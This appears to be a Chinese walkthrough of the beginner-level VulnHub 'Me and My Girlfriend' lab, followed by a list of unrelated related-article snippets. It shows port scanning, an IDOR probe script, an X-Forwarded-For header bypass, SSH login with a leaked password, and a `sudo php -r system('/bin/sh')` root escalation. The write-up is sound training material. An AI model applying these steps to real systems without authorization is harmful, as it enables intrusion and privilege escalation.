当前位置: 首页 > news >正文

me and my girlfriend WP复盘

一台非常简单的靶机复盘

vulnhub官网注释

Description
Back to the Top
Description: This VM tells us that there are a couple of lovers 
namely Alice and Bob, 
where the couple was originally very romantic, 
but since Alice worked at a private company, 
"Ceban Corp", 
something has changed from Alice's attitude towards Bob like 
something is "hidden", And Bob asks for your help to get what Alice 
is hiding and get full access to the company!Difficulty Level: BeginnerNotes: there are 2 flag filesLearning: Web Application | Simple Privilege Escalation

后面如果遇到alice和bob这两个名字需要注意

nmap

┌──(kali㉿kali)-[~/replay/girl]
└─$ nmap -sT -p- 192.168.206.155 -oA nmapscan/ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 23:22 EDT
Nmap scan report for 192.168.206.155
Host is up (0.0056s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:A1:BD:0E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds┌──(kali㉿kali)-[~/replay/girl]
└─$ nmap -sT -sC -sV -O -p22,80 192.168.206.155 -oA nmapscan/details
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 23:23 EDT
Nmap scan report for 192.168.206.155
Host is up (0.0017s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
|   2048 3b:26:4d:e4:a0:3b:f8:75:d9:6e:15:55:82:8c:71:97 (RSA)
|   256 8f:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:b0 (ECDSA)
|_  256 d0:c3:02:a1:c4:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:A1:BD:0E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds┌──(kali㉿kali)-[~/replay/girl]
└─$ nmap --script=vuln -p22,80 192.168.206.155 -oA nmapscan/vuln
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 23:23 EDT
Nmap scan report for 192.168.206.155
Host is up (0.00089s latency).PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-enum: 
|   /robots.txt: Robots file
|   /config/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_  /misc/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
MAC Address: 08:00:27:A1:BD:0E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 321.63 seconds

脚本扫描的同时访问80端口

可以看到这样一个页面

有一个login页面。简单用sql万能密码试了一下,没有发现SQL注入

sqlmap简单扫一下,没有发现sql注入

去注册一个用户,然后登录,后面如果没有思路了会尝试爆破

注册完之后登录

可以看到是可以成功登录的,观察url

http://192.168.206.155/index.php?page=dashboard&user_id=12

可以发现很有趣

写一个脚本,尝试给user_id不同值,curl信息

┌──(kali㉿kali)-[~/replay/girl]
└─$ cat curl.py              
import requestsbase_url = "http://192.168.206.155/index.php?page=dashboard&user_id="for user_id in range(-1, 16):  # 从 -1 到 15url = f"{base_url}{user_id}"try:response = requests.get(url, timeout=5)print(f"[+] user_id={user_id}, 状态码={response.status_code}")print(response.text[:500])  # 打印前500字符print("-" * 50)except requests.RequestException as e:print(f"[!] 请求 user_id={user_id} 出错: {e}")

运行

┌──(kali㉿kali)-[~/replay/girl]
└─$ python3 curl.py 
[+] user_id=-1, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=0, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=1, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=2, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=3, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=4, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=5, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=6, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=7, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=8, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=9, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=10, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=11, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=12, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=13, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=14, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------
[+] user_id=15, 状态码=200
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
<!-- Maybe you can search how to use x-forwarded-for -->
--------------------------------------------------                      

给了我们一个提示,可以尝试伪造x-forwarded-for请求头

这里由于值的范围比较小,就不写脚本了

在http://192.168.206.155/index.php?page=profile&user_id=5时,有一个alice,根据之前的Hint判断alice为重要用户

直接查看源码,已经明文给了密码

尝试ssh连接,不行再尝试其他用户

┌──(kali㉿kali)-[~/replay/girl┌──(kali㉿kali)-[~/replay/girl]
└─$ ssh alice@192.168.206.155
The authenticity of host '192.168.206.155 (192.168.206.155)' can't be established.
ED25519 key fingerprint is SHA256:xQf3lfh03E3NNnt5rN/N5zVlGxJJo8QcKykWWCSg1SM.
This host key is known by the following other names/addresses:~/.ssh/known_hosts:17: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.206.155' (ED25519) to the list of known hosts.
alice@192.168.206.155's password: 
Last login: Fri Dec 13 14:48:25 2019
alice@gfriEND:~$ 

直接连上

提权

alice@gfriEND:~/.my_secret$ cat flag1.txt 
Greattttt my brother! 
You saw the Alice's note! 
Now you save the record information to give to bob! 
I know if it's given to him then Bob will be hurt but this is 
better than Bob cheated!Now your last job is get access to the root and read the flag ^_^Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}
alice@gfriEND:~/.my_secret$ cat my_notes.txt 
Woahhh! I like this company, 
I hope that here i get a better partner than bob ^_^, 
hopefully Bob doesn't know my notes

说了一些比较隐私的信息并让我把证据给Bob

alice@gfriEND:~/.my_secret$ cat my_notes.txt 
Woahhh! I like this company, I hope that here i get a better partner than bob ^_^, hopefully Bob doesn't know my notes
alice@gfriEND:~/.my_secret$ sudo -l
Matching Defaults entries for alice on gfriEND:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser alice may run the following commands on gfriEND:(root) NOPASSWD: /usr/bin/php
alice@gfriEND:~/.my_secret$ 

在gtfobons上找到了php的sudo提权

alice@gfriEND:~/.my_secret$ CMD="/bin/sh"
alice@gfriEND:~/.my_secret$ sudo php -r "system('$CMD');"
ls
flag1.txt
my_notes.txt
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
flag2.txt
cat flag2.txt	________        __    ___________.__             ___________.__                ._./  _____/  _____/  |_  \__    ___/|  |__   ____   \_   _____/|  | _____     ____| |
/   \  ___ /  _ \   __\   |    |   |  |  \_/ __ \   |    __)  |  | \__  \   / ___\ |
\    \_\  (  <_> )  |     |    |   |   Y  \  ___/   |     \   |  |__/ __ \_/ /_/  >|\______  /\____/|__|     |____|   |___|  /\___  >  \___  /   |____(____  /\___  /__\/                              \/     \/       \/              \//_____/ \/Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned can get new knowledge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because it can be a reference for me to be even better! I hope this can continue :)Contact me if you want to contribute / give me feedback / share your writeup!
Twitter: @makegreatagain_
Instagram: @aldodimas73Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}

提权成功

相关文章:

me and my girlfriend WP复盘

一台非常简单的靶机复盘 vulnhub官网注释 Description Back to the Top Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, "C…...

顺序表

#include<iostream> #include<cstdlib> #define Maxsize 100 using namespace std; typedef struct//存储元素 {int data[Maxsize];int length; }Sqlist; //建立顺序表 typedef int CYDGOOD; //初始化线性表 void InitList(Sqlist *& L) {L = new Sqlist;L …...

能源管理的数字神经:MyEMS如何重塑能效认知

在工业设备的低沉轰鸣中,在写字楼宇的明暗交替间,能源如血液般在现代社会中流动。如何读懂这些流动的韵律,如何与这些无形的能量对话,成为当代能效管理的核心命题。MyEMS作为一套开源的能源管理系统,正在为各类组织构建这样的数字感知能力,让能源管理从模糊的经验艺术走向…...

开源・数据・能效:MyEMS 如何成为能源管理革新的核心引擎

在现代建筑的钢构骨架内,在工厂设备的运转节拍中,能量以电流、热能、冷量的形式不停流动。这些无形的流动蕴含着效率的秘密与优化的钥匙,而读懂这种语言需要特殊的解码能力。MyEMS作为一套开源能源管理系统,正扮演着这样的解码者角色——它将混沌的能源数据转化为清晰的行动…...

mysql回表,为什么你的查询总是慢半拍?

各位数据库爱好者们,不知道你们是否遇到过这样的场景:明明建了索引,查询速度却还是不理想?今天我们就来深入探讨这个让无数开发者头疼的问题——MySQL回表机制。理解了这个概念,你将能够轻松诊断并优化那些看似诡异的慢查询。 回表到底是什么? 简单来说,回表就是MySQL在…...

HMCL 3.6.17 Minecraft我的世界启动器

描述 HMCL是一个跨平台的Minecraft启动器,支持模组管理,游戏定制,自动安装(Forge、Fabric、Quilt、LiteLoader和OptiFine),Modpack创建,UI定制等。HMCL具有惊人的跨平台功能。 它不仅可以在不同的操作系统上运行,例如Windows,Linux和macOS, 但也支持多种CPU架构,如x…...

用自带的Nginx为gitlab做白名单

修改 /etc/gitlab/gitlab.rb文件vim /etc/gitlab/gitlab.rb如下这种写法不建议用 nginx[custom_gitlab_server_config] = "location ~* (.*) {deny 192.168.1.10;allow 192.168.1.0/24;deny all;proxy_cache off;proxy_pass http://gitlab-workhorse;root html;index …...

XHR/Fetch请求介绍与安全测试

XHR/Fetch请求介绍与安全测试目录XHR/Fetch是什么?所引发的安全问题XHR/Fetch是什么? XHR/Fetch 都是浏览器与服务器进行数据通信(即 API 调用)的两种主要技术。 简单来说,它们都是用来实现 AJAX(Asynchronous JavaScript and XML)理念的技术,即在不重新加载整个页面的…...

能流新智:MyEMS与开源时代的能源感知

在机器轰鸣的工厂、灯火通明的写字楼、冷热交替的数据中心,能量的流动从未停止。而真正理解这些流动,并与之对话,需要一种新的语言和感知能力。MyEMS,作为一个开源能源管理系统,正是这种感知能力的构建者——它让不可见的能源变得可见,让无序的消耗变得可解,最终让能源管…...

​​普科科技罗氏线圈应用指南:精准掌控电流测量的艺术​​

普科罗氏线圈以无磁饱和、宽频带、灵活轻便优势,提供高效精准电流测量解决方案。在电力测量、新能源及工业驱动领域,安全、精准地测量电流,尤其是高频、大电流信号,是一项核心需求。传统电流互感器(CT)易饱和、体积大、安装不便的局限性日益凸显。​​普科科技(PUKY-Tec…...

go mod基础

新建项目 并且新建 mod 管理 mkdir go_study cd go_study && go mod init studygo mod tid 下载依赖以及移除未使用的依赖require github.com/gin-gonic/gin v1.9.0...

go 变量作用域

1...

Oracle笔记:测试update语句关联表扫描的次数

我们的文章会在微信公众号IT民工的龙马人生和博客网站( www.htz.pw )同步更新 ,欢迎关注收藏,也欢迎大家转载,但是请在文章开始地方标注文章出处,谢谢! 由于博客中有大量代码,通过页面浏览效果更佳。Oracle笔记:测试update语句关联表扫描的次数下面是测试一下update语句…...

​​电流互感器选型指南:以普科科技产品为例

普科科技电流互感器选型注重测量与保护需求,明确参数、合理选型以确保安全与精度。在电力测量、监控和保护系统中,电流互感器(CT)扮演着至关重要的角色。它不仅是系统安全运行的"感知器官",更是确保数据准确、保护可靠的关键部件。面对多样的应用场景和复杂的工…...

.NET驾驭Word之力:玩转文本与格式

在前面的文章中,我们已经了解了Word对象模型的核心组件,包括Application、Document和Range对象。掌握了这些基础知识后,我们现在可以进一步深入到文档内容的处理,特别是文本的插入和格式化操作。本文将详细介绍如何使用MudTools.OfficeInterop.Word库来操作Word文档中的文本…...

读书笔记:白话解读位图索引:什么时候该用,什么时候千万别用?

我们的文章会在微信公众号IT民工的龙马人生和博客网站( www.htz.pw )同步更新 ,欢迎关注收藏,也欢迎大家转载,但是请在文章开始地方标注文章出处,谢谢! 由于博客中有大量代码,通过页面浏览效果更佳。本文为个人学习《Expert Oracle Database Architecture Techniques and…...

泰克CT-6交流电流探头测量原理

泰克 CT-6 交流电流探头是一款在电气测量领域广泛使用的专业工具。其测量原理基于电磁感应定律,通过精巧的设计实现对交流电流的精确测量。 从结构上看,泰克 CT-6 交流电流探头主要由磁芯、线圈和信号处理电路等部分构成。当交流电流通过导线时,会在导线周围产生变化的磁场,…...

结构体成员赋值问题

在函数里这样写对吗stCalc->stStitchingRule={.segment_count = 3, .segment_starts = {0, 336, 900}, .segment_lengths = {300, 100, 112}, .stitched_total_length = 512}; 问题分析 在C语言中,直接在函数内对结构体成员(如 stCalc->stStitchingRule)使用​​复合字…...

RepositoryItemGridLookUpEdit 使用 ok

private void Form1_Load(object sender, EventArgs e){下拉初始化();gridControl1.DataSource = DemoData.GetGridData();}private void 下拉初始化(){GridView view = rep_Grid.View;view.Columns.Add(new GridColumn { Caption = "货号", FieldName = "Goods…...

wso2~系统端口总结

好的,这是 WSO2 API Manager 中这些常见端口的详细总结。了解这些端口对于部署、运维和故障排查至关重要。 我将它们分为 API 流量端口、管理/控制平面端口 和 内部通信端口 三类。一、API 流量端口 (API Traffic Ports) 这些端口用于处理实际的 API 调用(数据平面流量)。端…...

故障处理:19C RAC改私网IP后重建集群时报网络找不到

我们的文章会在微信公众号IT民工的龙马人生和博客网站( www.htz.pw )同步更新 ,欢迎关注收藏,也欢迎大家转载,但是请在文章开始地方标注文章出处,谢谢! 由于博客中有大量代码,通过页面浏览效果更佳。今天在回复23年安装的ARM环境的19C的集群时,将服务器的私有网络和共有…...

谈谈程序猿的职业方向

大学生在校期间可能会有这样的疑问:将来就业干啥好呢? 如果你是学计算机的,将来想进入软件和互联网行业,恭喜,这是个好行业,薪水很高, 也不需靠关系,一切靠实力说话,不需要有个好爸爸。 坏处是,这个行业需要极为繁重的脑力和体力劳动,加班也是司空见惯的事情。 接下…...

Flash Attention详解

Flash Attention 并没有减少 Attention 的计算量,也不影响精度,但是却比标准的Attention运算快 2~4 倍的运行速度,减少了 5~20 倍的内存使用量。究竟是怎么实现的呢? Attention 为什么慢? 此处的“快慢”是相对而言的。严格意义上来说,相比于传统的 RNN,Transformer中的…...

eclipse插件调用保护后的jar包流程

jar包如何调用使用 导入jar包创建好项目后,进入项目后,创建libs文件夹,将jar包放入libs文件夹内; 选中项目,点击Runtime->Add选项,添加libs里的jar包;项目配置 当jar包导入成功后,对此项目进行配置。选中Build,将libs目录下所需要的jar包勾选上;添加成功后,点击b…...

通义上线 FunAudio-ASR,噪声场景幻觉率降 70%;盒智科技推出 AI 口语练习陪伴设备 Lookee 丨日报

开发者朋友们大家好:这里是 「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」,但内容仅代表编辑的个人观点…...

reLeetCode 热题 100-11 盛最多的谁 - MKT

reLeetCode 热题 100-11 盛最多的谁 1 bu 不合格答案 暴力// 时间超时int my_1(vector<int>& height){// x * hign_minint max_=0;for(int i=0; i<height.size()-1;i++){for(int j=i+1; j<height.size();j++){int high_= std::min(height[i],height[j]);int …...

AI 视频生成网站 Viddo AI 的 SEO 分析和优化建议

AI 视频生成网站 Viddo AI 的 SEO 分析和优化建议有个朋友的新网站 Viddo AI - AI 生成图片和视频上线了,我提了一些 SEO 和前端方面的问题和修改意见,顺便记录到蓝星空的 Blog,希望对其他朋友也有一点帮助,可能也有一些考虑不周的地方,欢迎大家指正!SEO方面的问题和修改…...

k3s 离线部署流程(内网环境)

k3s 离线部署流程(内网环境) 一、准备工作 1. 下载 k3s 安装相关文件(在有外网的跳板机上)k3s 安装脚本curl -sfL https://get.k3s.io -o install_k3s.shk3s 二进制文件curl -LO https://github.com/k3s-io/k3s/releases/download/<k3s版本>/k3sk3s 镜像包wget https…...

GPS简单模拟

注册回调 LocationListener,listener 被封装在 receiver 中@Overridepublic void requestLocationUpdates(LocationRequest request, ILocationListener listener,PendingIntent intent, String packageName) {...Receiver receiver;if (intent != null) {receiver = getRecei…...

C# Avalonia 15- Animation- XamlAnimation

C# Avalonia 15- Animation- XamlAnimation同样用两种方式实现动画,各位自行选择。实现了一个ArithmeticConverter类。 ArithmeticConverter.cs类using Avalonia.Data.Converters; using System; using System.Collections.Generic; using System.Globalization; using System…...

多个表格汇总到一个表格不同的sheet,vba宏

`Sub MergeWorkbookToSheets()Dim Path As StringDim Filename As StringDim Wb As WorkbookDim ws As WorksheetDim ThisWb As WorkbookDim Newsheet As Worksheet设置目标文件夹路径,请修改为您的实际路径Path = "C:\Users\haifeng\OneDrive\桌面\测试bom\" 注意:…...

python读取Excel表合并单元格以及清除空格符

读取合并单元格并保留合并信息 当我们只是使用 pandas 的 read_excel 方法读取 Excel 文件时,我们可能会遇到一个很棘手的问题:合并单元格的信息将会丢失,从而导致我们的数据出现重复或缺失的情况。 在本篇文章中将介绍使用 pandas 正确地读取包含合并单元格的 Excel 表格,…...

算法作业第一周

大厂代码规范代码格式大括号的使用约定。 如果是大括号内为空,则简洁地写成{}即可,不需要换行; 如果是非空代码块则:左大括号前不换行。左大括号后换行。右大括号前换行。右大括号后还有 else 等代码则不换行;表示终止的右大括号后必须换行。 任何二目、三目运算符的左右两…...

域名购买方案

https://linux.do/t/topic/963151/21...

Anby_の模板题集

洛谷版。 博客备份版。 普及- B3647 【模板】Floyd #include<bits/stdc++.h> #define x first #define y second using namespace std; const int N=2e2+10,inf=0x3f3f3f3f,mod=1e9+7; typedef unsigned long long ull; typedef pair<int,int> pii; typedef long l…...

AI 编程的“最后一公里”:当强大的代码生成遇上模糊的需求

随着AI编程工具的崛起,代码生成效率极大提升,但AI与实际项目需求间的“鸿沟”却日益凸显。本文探讨了在AI驱动的开发流程中,结构化、高质量的开发文档如何成为连接“模糊想法”与“精准代码”的关键桥梁,有效打通AI编程的“最后一公里”。引言:AI 编程时代的“新瓶颈” 20…...

ctfshowWeb应用安全与防护(第四章)wp

Session固定攻击 登录test账号,给admin发送消息回到主页发现用户名变成了admin,获得了flagJWT令牌伪造 先随便输入一个用户名,获得jwt tokenJWT伪造网站 JSON Web Tokens - jwt.io 由于没有校验签名, 我们可以采用 None 攻击,将alg改为none,admin改为True修改cookie,刷新…...

创建sshkey并链接git

以 Hugging Face 账户为示例: 生成ssh key到指定文件 ssh-keygen -t rsa -C "email.com" -f C:\Users\Administrator\.ssh\huggingface将生成的key放到hugging_face上 https://huggingface.co/settings/keyswindow powershell: Get-Service ssh-agent | Set-Servic…...

使用bash脚本检测网站SSL证书是否过期 - sherlock

#!/bin/bash# 加载环境变量 . /etc/profile . ~/.bash_profile . /etc/bashrc# 脚本所在目录即脚本名称 script_dir=$( cd "$( dirname "$0" )" && pwd ) script_name=$(basename ${0}) readFile="${script_dir}/domain_ssl.info"# 检查…...

Python 2025:低代码开发与自动化运维的新纪元 - 教程

Python 2025:低代码开发与自动化运维的新纪元 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monos…...

为什么Claude Code放弃代码索引,使用50年前的grep技术

为什么Claude Code放弃代码索引,使用50年前的grep技术? https://mp.weixin.qq.com/s/Fa15GoM3_2CUnjdHQ3I7Nw 为什么Claude Code放弃代码索引,使用50年前的grep技术? 原创 余志臻 腾讯云开发者2025年09月16日 08:45 北京 👉目录1 引言:一个看似倒退的选择2 理解状态的本…...

【QT】使用QT编写一款自己的串口助手

步骤一:ui界面设计 控件 接收框控件: (需要将接收框设置为只读 read only) 属性选择控件: 发送框控件: 按钮控件: 外框控件: 文本控件: 界面设计 最终设计结果布局解析程序设计 第一步 在.pro文件中修改增加: QT += core gui serialport // 增加 serialp…...

一句话让AI帮你搞营销?火山引擎Data Agent说:这事儿可以的~

本文为火山引擎数据产品总监刘峰的演讲分享,介绍了在过去的半年中,火山引擎Data Agent在智能营销Agent领域的一些新思考、新能力以及落地实践。 各位线上的朋友,大家好!今天主要跟大家聊聊四个关键主题: 首先,面对用户和业务增长挑战,结合大模型我们有哪些新解法? 其次…...

debian11 使用 podman 部署 n8n

拉取镜像podman pull docker.n8n.io/n8nio/n8n:latest创建目录和启动脚本mkdir -p /root/n8n/ touch run.shrun.sh #!/bin/bash name=n8n data_dir=/root/n8n/data ssl_dir=/root/n8n/ssl cart_file=$ssl_dir/cert.pem key_file=$ssl_dir/key.pemif [ ! -d $data_dir ]; thenmk…...

网络安全反模式:无效工作生成器的根源与解决方案

本文深入探讨网络安全中常见的“无效工作生成器”反模式,通过真实案例解析其成因,并提出基于根本原因分析的解决方案,包括优先级策略、机制构建及实际应用案例,帮助团队避免资源浪费并提升安全效能。网络安全反模式:无效工作生成器 2025年4月19日 3025字 15分钟阅读 本文…...

Excel处理控件Aspose.Cells教程:如何将Excel区域转换为Python列表

在 Python 中处理 Excel 数据通常需要将特定的行和列提取为列表格式。在本教程中,我们将逐步学习如何借助Aspose.Cells在 Python 中将定义的 Excel 范围转换为列表。在 Python 中处理 Excel 数据通常需要将特定的行和列提取为列表格式。将 Excel 范围转换为 Python 列表对于以…...

alpine安装docker以及docker-compose

alpine安装docker以及docker-compose1. 开启community仓库,vim /etc/apk/repositories 2. apk add docker docker compose 3. docker 添加到自启动 rc-update add docker boot 4. 启动docker:service docker start...

运筹学

运筹学绪论 运筹学主要分支划分方法:一般数学规划模型/特定问题的数学模型。前者划分出线性规划/整数规划/非线性规划/DP/网络流/...,后者划分出网络计划/排队论/存储论/决策论/对策论/... 人工智能的许多问题均与运筹学密不可分 核心:建模与求解 e.g.线性规划:给定基函数和…...

[CF848D] Shake It!

\(f(i, j)\):\(S \to T\) 除去 \(S, T\) 有 \(i\) 个点,最大流为 \(j\) 的方案数。 \(g(i, j)\):\(S \to U \to T\) 除去 \(S, T\) 有 \(i\) 个点,最大流为 \(j\) 的方案数。 \(f\) 向 \(g\) 转移:\(f(a, b) \times f(c, d) \to g(a + c + 1, \min(b, d))\)。 当前 \(a + …...

国产化Excel开发组件Spire.XLS教程:使用 Python 设置 Excel 格式,从基础到专业应用

与在 Excel 中手动调整样式相比,使用 Python 进行 Excel 格式设置 并自动化操作,能够帮助我们节省宝贵的时间。本文将演示如何借助 Spire.XLS for Python 通过 Python 设置 Excel 样式。 在处理电子表格时,数据本身固然重要,但可读性同样关键。一个拥有优秀格式设置的 Exc…...